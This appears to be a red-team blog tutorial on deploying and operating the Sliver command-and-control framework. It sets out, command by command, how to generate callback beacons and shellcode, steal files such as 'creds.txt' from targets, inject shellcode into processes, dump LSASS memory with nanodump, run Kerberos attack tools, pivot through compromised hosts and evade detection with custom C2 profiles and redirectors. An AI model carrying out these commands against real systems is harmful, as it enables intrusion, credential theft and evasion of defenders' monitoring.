Sliver is an open-source C2 framework built by BishopFox. It was designed to replace Cobalt Strike for red teams who can’t or won’t pay $5,000+ per year. Since its release, it’s become one of the most serious alternatives — used by actual red teams, not just CTF players.

This guide covers everything: installation, server setup, operator sessions, generating implants, running post-exploitation, and avoiding the common mistakes that get you caught.

If you haven’t read the C2 frameworks comparison , start there to understand where Sliver sits relative to Cobalt Strike and Havoc.

Why Sliver

Three reasons Sliver stands out:

  1. Free and open source. No licensing, no per-seat cost, no activation issues on engagements.
  2. Mature codebase. BishopFox built this for real ops. The feature set covers most of what red teams actually need.
  3. Go-based implants. Compiles to standalone binaries for Windows, Linux, and macOS. No .NET dependency, no PowerShell footprint.

It supports HTTP/S, DNS, WireGuard, and mTLS listeners. Implants can be beaconed (staged) or persistent sessions. The operator model lets multiple red teamers work the same server simultaneously.

Lab Setup

You need a VPS for a real C2 setup. Running Sliver from your laptop during an engagement is asking for attribution. Separate infrastructure matters.

Vultr and DigitalOcean both work well for this. A $6/month instance running Ubuntu 22.04 is enough to start. Keep it isolated from your personal infrastructure.

👉 Spin up a VPS on Vultr — deploy in under a minute
👉 DigitalOcean Droplets — reliable, $4/month for basic setup

For this guide: Ubuntu 22.04 server, clean install.

Step 1 — Install Sliver Server

Download the latest release

curl -s https://api.github.com/repos/BishopFoxSec/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v sha256 \
  | cut -d'"' -f4 \
  | wget -qi -

Or download directly from the Sliver releases page .

# Rename and make executable
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Same for the client
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver

First run — generate certs and configs

sudo sliver-server

On first launch Sliver generates:

  • Server certificates (mTLS)
  • Default operator config
  • SQLite database at ~/.sliver/

You’ll drop into the Sliver server shell. Exit with exit for now.

Run as a service

sudo sliver-server daemon &

Or install it as a systemd service for persistence:

sudo sliver-server unpack --force
sudo systemctl enable sliver
sudo systemctl start sliver

Step 2 — Operator Setup (Multi-User)

Sliver uses mutual TLS for operator connections. Each operator gets a config file that includes their certificate.

Generate an operator config

sudo sliver-server operator --name operator1 --lhost YOUR_SERVER_IP --save /tmp/operator1.cfg

Transfer that .cfg file to your operator machine (your attack box, not the C2 server).

Import the operator config (on attack box)

sliver import /path/to/operator1.cfg

Connect to the server

sliver

You’ll see the Sliver banner and the server info. You’re now controlling the C2 remotely via mTLS — no SSH required during ops.

Step 3 — Start Listeners

Listeners are how implants call home. Start with HTTPS — it’s the most reliable through egress filtering.

HTTPS listener

[server] sliver > https --lhost 0.0.0.0 --lport 443

Check active jobs:

[server] sliver > jobs

DNS listener (for restricted environments)

DNS C2 is slower but bypasses most proxy-based egress controls:

[server] sliver > dns --domains c2.yourdomain.com

For DNS C2 to work, you need:

  • An A record pointing your domain to your server IP
  • An NS record for a subdomain (e.g., ns1.yourdomain.com) pointing to your server

WireGuard listener (operator-to-implant tunnel)

[server] sliver > wg-listener

WireGuard is useful for tunneling traffic through implants without the overhead of HTTP. Less common but available.

Step 4 — Generate Implants

Sliver generates two types: sessions (interactive, always-on) and beacons (sleep + jitter, more OPSEC-friendly).

Use sessions for initial testing. Use beacons for real engagements.

Generate a Windows beacon (HTTPS)

[server] sliver > generate beacon \
  --http YOUR_SERVER_IP:443 \
  --os windows \
  --arch amd64 \
  --format exe \
  --sleep 30 \
  --jitter 15 \
  --save /tmp/beacon.exe

Key flags:

  • --sleep — seconds between callbacks
  • --jitter — randomness added to sleep (makes timing analysis harder)
  • --format — exe, dll, shellcode, service

Generate a Linux session implant

[server] sliver > generate \
  --http YOUR_SERVER_IP:443 \
  --os linux \
  --arch amd64 \
  --format elf \
  --save /tmp/implant

Generate shellcode for injection

[server] sliver > generate \
  --http YOUR_SERVER_IP:443 \
  --os windows \
  --arch amd64 \
  --format shellcode \
  --save /tmp/payload.bin

Shellcode output is useful when you need to inject into a running process rather than drop a binary.

Step 5 — Implant Management

Check active beacons

[server] sliver > beacons

Check active sessions

[server] sliver > sessions

Interact with a beacon

[server] sliver > use <beacon-id>
[beacon] sliver >

With a beacon, commands are queued and executed on next checkin. You won’t get instant output — that’s the tradeoff for better OPSEC.

Interact with a session

Sessions are interactive — commands execute immediately:

[server] sliver > use <session-id>
[session] sliver > whoami
[session] sliver > pwd
[session] sliver > ls

Step 6 — Core Post-Exploitation Commands

Recon

# System info
[beacon] sliver > info

# Running processes
[beacon] sliver > ps

# Network connections
[beacon] sliver > netstat

# Current user + privileges
[beacon] sliver > getuid
[beacon] sliver > getgid
[beacon] sliver > getpid

File operations

# List directory
[beacon] sliver > ls C:\\Users\\

# Download a file
[beacon] sliver > download C:\\Users\\target\\Documents\\creds.txt /tmp/creds.txt

# Upload a file
[beacon] sliver > upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe

# Execute a file
[beacon] sliver > execute -t 30 C:\\Windows\\Temp\\tool.exe

Shell access

# Interactive shell (session only — not available on beacon without task)
[session] sliver > shell

# Execute a command and get output
[beacon] sliver > execute -o cmd.exe /c whoami /all

Screenshot

[beacon] sliver > screenshot

Output saves to your local machine automatically.

Step 7 — Pivoting and Tunneling

Sliver has solid built-in pivoting capabilities.

SOCKS5 proxy through implant

[session] sliver > socks5 start --host 127.0.0.1 --port 1080

Now route tools through the implant:

# On your attack box
proxychains nmap -sT -Pn -p 445,3389 10.10.10.0/24

Port forward

# Forward local port 8080 to internal target:80
[session] sliver > portfwd add --remote 10.10.10.50:80 --local 127.0.0.1:8080

WireGuard tunnel (full network pivot)

[session] sliver > wg-portfwd add --remote 10.10.10.50:3389 --local 127.0.0.1:13389

WireGuard-based pivots give you a real network tunnel through the implant — more flexible than SOCKS for certain tools.

Step 8 — In-Memory Execution (Avoiding Disk)

Dropping binaries to disk is noisy. Sliver gives you options to execute in-memory.

Execute assembly (C# in-memory)

[beacon] sliver > execute-assembly /path/to/SharpHound.exe -c all

This loads the .NET assembly into memory using the Sliver execute-assembly BOF. No file hits disk on the target.

Sideload a shared library

[beacon] sliver > sideload /path/to/evil.dll

Execute shellcode in a remote process

[beacon] sliver > inject --pid 1234 --shellcode /path/to/payload.bin

Inject into an existing process to avoid spawning a new one. Pick a process that’s expected to have network traffic.

Step 9 — Armory (Extensions and BOFs)

Sliver has an armory system for loading BOFs (Beacon Object Files) and extensions.

Install armory

[server] sliver > armory install all

This installs the official extensions including:

  • SharpHound (AD enumeration)
  • Rubeus (Kerberos attacks)
  • Certify (AD CS enumeration)
  • Various recon and post-ex tools

Run a BOF

[beacon] sliver > bof whoami
[beacon] sliver > bof nanodump --pid 640 --write C:\\Windows\\Temp\\dump.dmp

BOFs execute within the implant process via a mini C runtime — no new process, minimal footprint.

List installed extensions

[server] sliver > armory

Step 10 — OPSEC Considerations

Sliver out of the box is detectable. Default configurations hit known signatures.

Change the default C2 profile

The default HTTP C2 profile sends recognizable headers. Customize it:

# Edit the HTTP C2 config
~/.sliver/configs/http-c2.json

Key fields to change:

  • User-Agent strings
  • URL paths and parameters
  • Header order and values

Make your C2 traffic look like legitimate application traffic — browser-like headers, realistic URL structures.

Use a redirector

Don’t expose your Sliver server directly. Put a redirector (Apache mod_rewrite, Nginx, Caddy) in front of it. If the redirector gets burned, your backend stays clean.

Basic Nginx redirector config:

location / {
    proxy_pass https://YOUR_BACKEND_C2:443;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

For a full redirector setup guide, see Red Team C2 Infrastructure: Redirectors Setup .

Sleep and jitter

Always use beacons in production. Sessions with constant callbacks are trivial to detect on a long engagement:

generate beacon --sleep 300 --jitter 60  # 5-min sleep, 1-min jitter

Process injection target selection

Don’t inject into notepad.exe. Pick processes that legitimately have network connections: explorer.exe, chrome.exe, svchost.exe (matching the right service context).

Sliver vs Cobalt Strike vs Havoc

FeatureSliverCobalt StrikeHavoc
CostFree~$5,000/yrFree
MaturityHighVery HighMedium
BOF SupportYesYesYes
Malleable C2PartialFullPartial
Multi-operatorYesYesYes
GUINo (CLI)YesYes
Go implantsYesNoNo (.NET)
Active developmentYesYesYes

Sliver wins on cost and portability. Cobalt Strike still leads on malleable C2 depth. Havoc has a cleaner UI but is less mature.

For a detailed breakdown, see the C2 frameworks comparison guide .

Troubleshooting

Implant not connecting back

  1. Check that your listener is running: jobs
  2. Check firewall: ufw status — port 443 must be open
  3. Check the server IP in the implant matches your actual server IP
  4. Test reachability: curl -k https://YOUR_SERVER_IP:443 from the target network

mTLS connection refused

The operator config includes the server’s certificate. If the server was reinstalled or certificates regenerated, you need a new operator config.

Beacon tasks not executing

Beacons only run tasks on checkin. If sleep is 300 seconds, wait. If it’s been multiple intervals, check if the implant process is still running on the target.

Build errors

Sliver needs Go to compile implants. On the server:

apt install golang-go
# Or use the bundled Go in Sliver's release package

Next Steps

Sliver covers the basics well. Where to go from here:

For practice in a safe environment, spin up a lab on a VPS:

👉 Vultr — deploy Ubuntu in 60 seconds
👉 DigitalOcean — $4/month Droplets

Need a Professional Red Team Report?

If you’re running ops and need client-ready deliverables, CipherWrite handles red team reports, pentest writeups, and executive summaries — written by practitioners, not template-fillers.